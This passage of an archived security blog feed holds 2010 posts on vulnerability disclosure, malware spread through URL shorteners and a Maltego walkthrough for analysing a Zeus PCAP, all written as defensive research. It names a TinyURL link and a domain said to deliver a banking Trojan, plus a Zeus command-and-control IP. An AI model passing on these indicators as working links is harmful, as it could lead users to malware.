url='http://2.bp.blogspot.com/_kVOWaY1TAF0/S9-V5twKdKI/AAAAAAAAAUw/zLTsVXsEleY/s72-c/toolsmithLogo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-5781985752946632804</id><published>2010-04-25T16:35:00.000-07:00</published><updated>2010-04-25T18:54:36.981-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='disclosure'/><category scheme='http://www.blogger.com/atom/ns#' term='Verizon'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>I am a narcissistic vulnerability pimp</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/S9TnmbxwPUI/AAAAAAAAAUo/Eca1CeUT_Bk/s1600/velvetjones.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/S9TnmbxwPUI/AAAAAAAAAUo/Eca1CeUT_Bk/s320/velvetjones.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5464246895384739138" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Verizon Business Security Blog has drawn the line in the sand of the kitty litter box they're apparently playing in, &lt;a href="http://securityblog.verizonbusiness.com/2010/04/22/redefining-security-researcher/" target="_blank"&gt;labeling&lt;/a&gt; those who irresponsibly disclose "information that makes things less secure" as narcissistic vulnerability pimps.&lt;br /&gt;Wow. &lt;br /&gt;Time to pull those iPhone wannabes from betwixt the Verizon lily whites and dial 1-866-GET-CLUE.&lt;br /&gt;I love it when risk "experts" start sounding off about that of which they know nothing. &lt;br /&gt;As members of the Verizon Risk Intelligence group, clearly an oxymoron, Wade Baker and Dave Kennedy must be the same guys who describe risk level in the cloud as .4.&lt;br /&gt;What?&lt;br /&gt;Here's a secret. &lt;br /&gt;Vulnerability disclosure is, as Robert Graham says, &lt;a href="http://erratasec.blogspot.com/2010/04/vuln-disclosure-is-rude.html" target="_blank"&gt;rude&lt;/a&gt; at its core. &lt;br /&gt;&lt;span style="font-style:italic;"&gt;"Hey Mr. Vendor, your code sucks, fix it."&lt;/span&gt;&lt;br /&gt;But what about when Mr. Vendor decides to blow off the security researcher who tried on numerous occasions, via numerous channels to disclose a vulnerability?&lt;br /&gt;So when that security researcher goes public after vendor FAIL, he's now a narcissistic vulnerability pimp?&lt;br /&gt;Is &lt;a href="http://en.wikipedia.org/wiki/Charlie_Miller_%28security_researcher%29" target="_blank"&gt;Charlie Miller&lt;/a&gt; a security researcher or a narcissistic vulnerability pimp? &lt;br /&gt;&lt;br /&gt;&lt;a href="http://attrition.org/security/rants/disclosure01.html" target="_blank"&gt;Attrition.org&lt;/a&gt; (d2d) recently summed this conundrum up succinctly:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"So what is actually responsible or ethical? The lines are blurred quite a bit. The "responsible" method is also the "painful", "expensive", and often "ineffective" method that gets little resolved for exponentially more work, time and money. Is all that waste not irresponsible? What about all of the other organizations unknowingly affected by things I've found, organizations who never got a heads-up, no less a patch, because my attempts at "responsible" disclosure failed?"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;No matter how you define it, disclosure drives vendors to repair code they would otherwise neglect and leave vulnerable for the real criminals to exploit. &lt;br /&gt;Yes, risk may be elevated in the time period between disclosure and repair, as well as repair and patch deployment. But if researchers wait on the likes of &lt;a href="http://www.theregister.co.uk/2010/04/09/critical_java_vulnerability/" target="_blank"&gt;Oracle&lt;/a&gt; to fix their kluges, nothing would ever get fixed.&lt;br /&gt;&lt;br /&gt;Dan Goodin says in his &lt;a href="http://www.theregister.co.uk/2010/04/23/verizon_narcissistic_vulnerability_pimps/" target="_blank"&gt;writeup&lt;/a&gt;, "as the recent Pwn2Own contest made abundantly clear, software makers can't be counted on to secure their products, at least not on their own." &lt;br /&gt;Dan clearly be styling some bling of his own. &lt;br /&gt;&lt;br /&gt;I at Holisticinfosec.org do hereby resolve to faithfully ignore Verizon Risk Intelligence dreck forthwith.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/04/i-am-narcissistic-vulnerability-pimp.html&amp;title=I%20am%20a%20narcissistic%20vulnerability%20pimp " title="I am a narcissistic vulnerability pimp "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/04/i-am-narcissistic-vulnerability-pimp.html" title="I am a narcissistic vulnerability pimp "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/04/i-am-narcissistic-vulnerability-pimp.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt; &lt;br /&gt; Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-5781985752946632804?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/5781985752946632804/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=5781985752946632804' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/5781985752946632804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/5781985752946632804'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/04/i-am-narcissistic-vulnerability-pimp.html' title='I am a narcissistic vulnerability pimp'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kVOWaY1TAF0/S9TnmbxwPUI/AAAAAAAAAUo/Eca1CeUT_Bk/s72-c/velvetjones.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-2176246051179358708</id><published>2010-04-18T18:58:00.000-07:00</published><updated>2010-04-18T19:54:03.121-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='NetworkMiner'/><title type='text'>Moral Hazard: URL shorteners must improve malware prevention</title><content type='html'>Suffice it to say that my job duties include trying to help reduce malicious URLs being transmitted over Windows Live Messenger.&lt;br /&gt;As you can likely imagine, URL shorteners (TinyURL, Bit.ly, etc.) give me conniptions.&lt;br /&gt;Blocking the root domain is not feasible as the majority of URL shortener use is not malicious. &lt;br /&gt;Can you say "whack-a-mole"? &lt;br /&gt;Bit.ly, as an example, claims to be scanning URLs for malware, but with 40 million plus shortened URLs a day, they are definitely missing their share of malware-lade URLs.&lt;br /&gt;TinyURL suffers from the same challenges; even though they have a strict &lt;a href="http://tinyurl.com/nospam.php"&gt;Terms of Use&lt;/a&gt;, endless malicious URLs are shortened via TinyURL who seems to only employ a reactive prevention model (report it and they'll remove it).  &lt;br /&gt;Thus, topping the list of URLs being passed via Messenger on any given day is often the likes of tinyurl.com/y6v689z.&lt;br /&gt;Click and a Russian free web host offers you &lt;a href="http://www.virustotal.com/analisis/c3edd5a28ed8485dbc25ca6cac400dc88dc1abfaa42322e1ae22ee78a94bdf35-1271471467" target="_blank"&gt;fotos16.com&lt;/a&gt;, a Trojan-Downloader.Win32.Banload variant. &lt;br /&gt;What's old is new again (first detected in 2006), but no less effective when coupled with simple social engineering. Simply, the Banload Trojan downloads other Trojans and aims to steal your banking credentials.&lt;br /&gt;The victim receives an IM, often from a trusted contact, that evokes Facebook content: "Hey, check out my latest Facebook pics!" No shocker there, someone targeting popular Internet resources as part of their attack methodology? Groundbreaking. &lt;br /&gt;But you know what? It works over and over and over again.&lt;br /&gt;All day long.&lt;br /&gt;Until the cows come home.&lt;br /&gt;So what does our shortened URL with a social networking lure get us?&lt;br /&gt;All sorts of bonus goodies.&lt;br /&gt;This sample helped remind me of how much I love &lt;a href="http://networkminer.sourceforge.net/" target="_blank"&gt;NetworkMiner&lt;/a&gt;. &lt;br /&gt;Thrash my trusty Windows XP VM, capture the network traffic, and voila, we quickly learn all we need to know.&lt;br /&gt;Our Banload friend got busy in the 80 seconds I let it run in my home lab environment.&lt;br /&gt;14 sessions, 23 DNS queries, 11 file downloads, and three authenticated (credentials captured as they are passed in the clear) SMTP exchanges with Brazilian free mail hosts. &lt;br /&gt;Gotta have somewhere to send all those stolen credentials right?&lt;br /&gt;&lt;br /&gt;&lt;object width="400" height="300"&gt; &lt;param name="flashvars" value="offsite=true&amp;lang=en-us&amp;page_show_url=%2Fphotos%2F45645141%40N07%2Fshow%2F&amp;page_show_back_url=%2Fphotos%2F45645141%40N07%2F&amp;user_id=45645141@N07&amp;jump_to="&gt;&lt;/param&gt; &lt;param name="movie" value="http://www.flickr.com/apps/slideshow/show.swf?v=71649"&gt;&lt;/param&gt; &lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed type="application/x-shockwave-flash" src="http://www.flickr.com/apps/slideshow/show.swf?v=71649" allowFullScreen="true" flashvars="offsite=true&amp;lang=en-us&amp;page_show_url=%2Fphotos%2F45645141%40N07%2Fshow%2F&amp;page_show_back_url=%2Fphotos%2F45645141%40N07%2F&amp;user_id=45645141@N07&amp;jump_to=" width="400" height="300"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Soapbox time.&lt;br /&gt;I liken the failure of URL shortening providers to better protect users from malware to a &lt;a href="http://www.google.com/search?hl=en&amp;source=hp&amp;q=define%3Amoral+hazard&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=" target="_blank"&gt;moral hazard&lt;/a&gt;.&lt;br /&gt;A moral hazard is "the lack of any incentive to guard against a risk when you are protected against it (as by insurance)."&lt;br /&gt;A strongly worded Terms of Use does not indemnify the likes of Bit.ly, TinyURL, and others.&lt;br /&gt;Too many people are getting pwnzored.&lt;br /&gt;Better efforts to prevent malicious abuse of URL shortening services must ensue.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/04/moral-hazard-url-shorteners-must.html&amp;title=Moral%20Hazard:%20URL%20shorteners%20must%20improve%20malware%20prevention&lt;br /&gt; " title="Moral Hazard: URL shorteners must improve malware prevention "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/04/moral-hazard-url-shorteners-must.html" title="Moral Hazard: URL shorteners must improve malware prevention "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/04/moral-hazard-url-shorteners-must.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt; &lt;br /&gt; Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-2176246051179358708?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/2176246051179358708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=2176246051179358708' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2176246051179358708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2176246051179358708'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/04/moral-hazard-url-shorteners-must.html' title='Moral Hazard: URL shorteners must improve malware prevention'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-4724865959366233244</id><published>2010-04-02T10:13:00.000-07:00</published><updated>2010-04-02T10:40:13.495-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dradis'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><title type='text'>Dradis: Effective Information Sharing for Pentest Teams</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://dradisframework.org/images/logo_small.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 200px; height: 200px;" src="http://dradisframework.org/images/logo_small.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;April's &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; covers &lt;a href="http://dradisframework.org/" target="_blank"&gt;Dradis&lt;/a&gt;.&lt;br /&gt;Dradis is a self-contained web application that provides a centralized repository for information acquired during testing in order to work completed and pending. &lt;br /&gt;The Dradis project lead, Daniel Martín Gómez contends (and I agree) that failure to share “information available in an effective way will result in exploitation opportunities lost and the overlapping of efforts.” &lt;br /&gt;Testing teams face multiple challenges specific to information sharing, including a variety of output types from all the tools utilized. &lt;br /&gt;Testers gather results in different ways. &lt;br /&gt;Each team generates different reports, and so on.&lt;br /&gt;Dradis is designed to address these challenges and does so effectively. &lt;br /&gt;Check it out at your earliest convenience.&lt;br /&gt;&lt;br /&gt;The article awaits your review &lt;a href="http://holisticinfosec.org/toolsmith/docs/april2010.html" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/04/dradis-effective-information-sharing.html&amp;title=Dradis:%20Effective%20Information%20Sharing%20for%20Pentest%20Teams " title="Dradis: Effective Information Sharing for Pentest Teams "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/04/dradis-effective-information-sharing.html" title="Dradis: Effective Information Sharing for Pentest Teams "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/04/dradis-effective-information-sharing.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-4724865959366233244?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/4724865959366233244/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=4724865959366233244' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4724865959366233244'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4724865959366233244'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/04/dradis-effective-information-sharing.html' title='Dradis: Effective Information Sharing for Pentest Teams'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-4094460836610150955</id><published>2010-04-01T09:37:00.000-07:00</published><updated>2010-04-01T10:26:47.544-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Zbot'/><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Russ McRee'/><category scheme='http://www.blogger.com/atom/ns#' term='Zeus'/><category scheme='http://www.blogger.com/atom/ns#' term='Maltego'/><title type='text'>Malware behavior analysis: studying PCAPs with Maltego local transforms</title><content type='html'>In recent months I've made regular use of &lt;a href="http://www.paterva.com/web4/index.php/maltego" target="_blank"&gt;Maltego&lt;/a&gt; during security data visualization efforts specific to investigations and analysis.  &lt;br /&gt;While Maltego includes numerous highly useful entities and transforms, it does not currently feature the ability to directly manipulate native PCAP files. &lt;br /&gt;This is not entirely uncommon amongst other tools, particularly those specific to visualization; often such tools consume CSV files. &lt;br /&gt;&lt;br /&gt;With thanks to Andrew MacPherson of Paterva for creating these for me upon request for recent &lt;a href="http://bit.ly/9LKePi" target="_blank"&gt;presentations&lt;/a&gt;, I'm pleased to share with you Maltego local transforms that will render CSVs created from PCAP files. Simple, but extremely useful.&lt;br /&gt;&lt;br /&gt;I'll take you step by step through the process, starting with creating CSVs from PCAPs.&lt;br /&gt;For those of you already comfortable with PCAP to CSV conversion and/or using local transforms with Maltego, here are the pyCSV transforms:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bit.ly/GetSourceClients" target="_blank"&gt;GetSourceClients.py&lt;/a&gt;&lt;br /&gt;&lt;a href="http://bit.ly/GetDestinationClients" target="_blank"&gt;GetDestinationClients.py&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;All others, read on.&lt;br /&gt;Raffael Marty's &lt;a href="http://afterglow.sourceforge.net/" target="_blank"&gt;AfterGlow&lt;/a&gt; (version &lt;a href="https://sourceforge.net/projects/afterglow/files/AfterGlow%201.x/1.6.0/afterglow-1.6.0.tar.gz/download" target="_blank"&gt;1.6&lt;/a&gt; just released) includes tcpdump2csv.pl which uses tcpdump/windump to read a PCAP file and parse it into parametrized CSV output.&lt;br /&gt;&lt;br /&gt;Windows users, assuming that Perl is installed and all files and scripts reside in the same directory, execute:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;windump -vttttnnelr example.pcap | perl tcpdump2csv.pl "sip dip dport" &gt; example.csv&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Linux users:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;tcpdump -vttttnnelr example.pcap | tcpdump2csv.pl "sip dip dport" &gt; example.csv&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To integrate the pyCSV local transforms with your Maltego instance:&lt;br /&gt;1. Click &lt;span style="font-weight:bold;"&gt;Tools&lt;/span&gt;, then &lt;span style="font-weight:bold;"&gt;Manage Transforms&lt;/span&gt;.&lt;br /&gt;2. Click &lt;span style="font-weight:bold;"&gt;New Local Transforms&lt;/span&gt;.&lt;br /&gt;3. Define the Display name as the name of the local transform. Example: GetSourceClients&lt;br /&gt;4. Each transform must map to an entity. Do so as follows for&lt;br /&gt;each transform as you create it:&lt;br /&gt;getSourceClients to Phrase&lt;br /&gt;getDestinationClients to IP Address&lt;br /&gt;5. Click &lt;span style="font-weight:bold;"&gt;Next&lt;/span&gt;.&lt;br /&gt;6. The &lt;span style="font-weight:bold;"&gt;Command&lt;/span&gt; field should point to Python binary (C:\Python25\python.exe on Windows, /usr/bin/python&lt;br /&gt;on Ubuntu 9.10).&lt;br /&gt;7. The &lt;span style="font-weight:bold;"&gt;Parameters&lt;/span&gt; field should refer only to the transform name. Example: GetSourceClients.py&lt;br /&gt;8. &lt;span style="font-weight:bold;"&gt;Work Directory&lt;/span&gt; should be the complete path to the directory where you keep the Nmap local transform Python scripts (suggest C:\localTransforms\pyCSV for Windows users).&lt;br /&gt;9. &lt;span style="font-weight:bold;"&gt;Finish&lt;/span&gt;, then &lt;span style="font-weight:bold;"&gt;Save&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/S7TLnpP4rhI/AAAAAAAAATw/Mg6nRqr1WH4/s1600/ManageTranforms.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 263px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/S7TLnpP4rhI/AAAAAAAAATw/Mg6nRqr1WH4/s320/ManageTranforms.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5455208930600332818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You'll also need a copy MaltegoTransform.py in your local transforms directory (included with the Maltego python lib during installation).&lt;br /&gt;&lt;br /&gt;During a recent Zeus bot investigation, I used &lt;a href="http://bit.ly/GetSourceClients" target="_blank"&gt;GetSourceClients.py&lt;/a&gt; and &lt;a href="http://bit.ly/GetDestinationClients" target="_blank"&gt;GetDestinationClients.py&lt;/a&gt; as follows:&lt;br /&gt;&lt;br /&gt;1) Convert zeus.pcap, captured during malware analysis in a virtual ennvironment,&lt;br /&gt;to zeus.csv: &lt;span style="font-style:italic;"&gt;tcpdump -vttttnnelr zeus.pcap | tcpdump2csv.pl "sip dip dport" &gt; zeus.csv&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2) Drag a Phrase entity into the Maltego workspace, and using CopyPath, pasted the full path to the zeus.csv into the Phrase entity. &lt;br /&gt;&lt;br /&gt;3) Right-clicked the Phrase entity, chose All, then getSourceClients.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/S7TLHJvVQaI/AAAAAAAAATg/ZLq4kg9LJaM/s1600/GetSource.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 212px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/S7TLHJvVQaI/AAAAAAAAATg/ZLq4kg9LJaM/s320/GetSource.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5455208372386480546" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;4) Right-clicked the IP entity created for my infected host, chose All, then getDestinationClients.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/S7TLdOlQh2I/AAAAAAAAATo/F2Qzf67MiYg/s1600/GetDestination.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 226px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/S7TLdOlQh2I/AAAAAAAAATo/F2Qzf67MiYg/s320/GetDestination.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5455208751643527010" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;5) Egress traffic to a likely malicious host immediately jumped out of the Maltego workspace at me. I right-clicked (after removing the port reference in the IP entity label) and selected AllTransforms.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/S7TQjs4SecI/AAAAAAAAAT4/LYq83NccnV0/s1600/AllTransforms.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 244px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/S7TQjs4SecI/AAAAAAAAAT4/LYq83NccnV0/s320/AllTransforms.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5455214360413764034" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;6) Maltego's results were swift and validated my immediate assumption. 115.100.250.105 is a malicious Chinese (omg, really?) Zeus C&amp;C server. Nice.&lt;br /&gt;Highlighting a Website entity then choosing Detail View will tell you everything you need to know.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/S7TSQffNZLI/AAAAAAAAAUA/Ucj1JbYML3M/s1600/MaltegoResults.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 184px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/S7TSQffNZLI/AAAAAAAAAUA/Ucj1JbYML3M/s320/MaltegoResults.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5455216229424653490" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;"Size matters not. Look at me. Judge me by my size, do you? Hmm? Hmm. And well you should not. For my ally is Maltego, and a powerful ally it is."&lt;br /&gt;&lt;br /&gt;Yoda's right. ;-)&lt;br /&gt;&lt;br /&gt;If you have any questions or would like saved transforms, PCAPs, or binary samples, ping me at russ at holisticinfosec dot org.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/04/malware-behavior-analysis-studying.html&amp;title=Malware%20behavior%20analysis:%20studying%20PCAPs%20with%20Maltego%20local%20transforms&lt;br /&gt; " title="Malware behavior analysis: studying PCAPs with Maltego local transforms&lt;br /&gt; "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/04/malware-behavior-analysis-studying.html" title="Malware behavior analysis: studying PCAPs with Maltego local transforms&lt;br /&gt; "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/04/malware-behavior-analysis-studying.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt; &lt;br /&gt; Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-4094460836610150955?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/4094460836610150955/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=4094460836610150955' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4094460836610150955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4094460836610150955'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/04/malware-behavior-analysis-studying.html' title='Malware behavior analysis: studying PCAPs with Maltego local transforms'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kVOWaY1TAF0/S7TLnpP4rhI/AAAAAAAAATw/Mg6nRqr1WH4/s72-c/ManageTranforms.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-8734857295417596542</id><published>2010-03-21T11:31:00.000-07:00</published><updated>2010-03-21T13:11:13.392-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RSA'/><category scheme='http://www.blogger.com/atom/ns#' term='SANS'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='visualization'/><category scheme='http://www.blogger.com/atom/ns#' term='Russ McRee'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>Presentations available: RSA, ISACA, and Agora</title><content type='html'>It's been a busy month of presentations including &lt;a href="http://www.rsaconference.com/2010/usa/index.htm" target="_blank"&gt;RSA Conference 2010&lt;/a&gt;, &lt;a href="http://www.isaca-psc.org/" target="_blank"&gt;ISACA Puget Sound&lt;/a&gt;, and the Agora. &lt;br /&gt;The Agora is a "successful strategic association that meets quarterly to bring together the pacific Northwest's top information systems security professionals and technical experts, as well as officers from the private sector, public agencies, local, state and federal government and law enforcement."&lt;br /&gt;At RSA and Agora I discussed tactics intended to compare security data visualization to strictly textual output generated by IDS/IPS. These discussions included details on &lt;a href="http://afterglow.sourceforge.net/" target="_blank"&gt;AfterGlow&lt;/a&gt;, &lt;a href="http://www.rumint.org/" target="_blank"&gt;Rumint&lt;/a&gt;, &lt;a href="http://www.cs.umd.edu/projects/netgrok/" target="_blank"&gt;NetGrok&lt;/a&gt;, and &lt;a href="http://www.paterva.com/web4/index.php/maltego" target="_blank"&gt;Maltego&lt;/a&gt;.&lt;br /&gt;At the ISACA Puget Sound chapter meeting I covered securing the company web presence (common security threats to your web presence and what you can do about it). This talk included details specific to the &lt;a 